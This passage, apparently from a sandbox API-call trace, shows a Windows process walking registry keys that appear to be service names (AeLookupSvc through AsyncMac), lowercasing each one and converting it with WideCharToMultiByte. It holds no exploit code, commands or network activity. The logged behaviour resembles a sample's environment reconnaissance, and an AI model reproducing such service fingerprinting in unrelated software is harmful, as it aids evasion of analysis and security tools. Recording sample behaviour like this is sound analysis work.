lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.588] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1de4720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.588] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AFD") returned 0x0 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.588] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x1dd29e0, cchName=0x104 | out: lpName="agp440") returned 0x0 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.588] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0257.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.588] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.589] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ALG") returned 0x0 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.589] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aliide") returned 0x0 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.589] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdide") returned 0x0 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.589] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.589] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.589] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x1de4720, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.590] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.590] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.590] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.590] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0257.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.590] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.590] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x1dd29e0, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.591] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppID") returned 0x0 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.591] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x1de4720, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.591] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.591] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0257.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.592] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x1de4720, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.592] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arc") returned 0x0 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.592] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.592] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x1de4720, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.592] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.592] RegEnumKeyW (in: hKey=0x154, dwIndex=0x20, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0257.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.593] RegEnumKeyW (in: hKey=0x154, dwIndex=0x21, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x1de4720, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.593] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x1dd29e0, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0257.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x1de4450, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4720) returned 1 [0257.593] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0257.593] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x1dd29e0, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0257.593] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0257.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4720 [0257.593] WideCharToMultiByte (in: 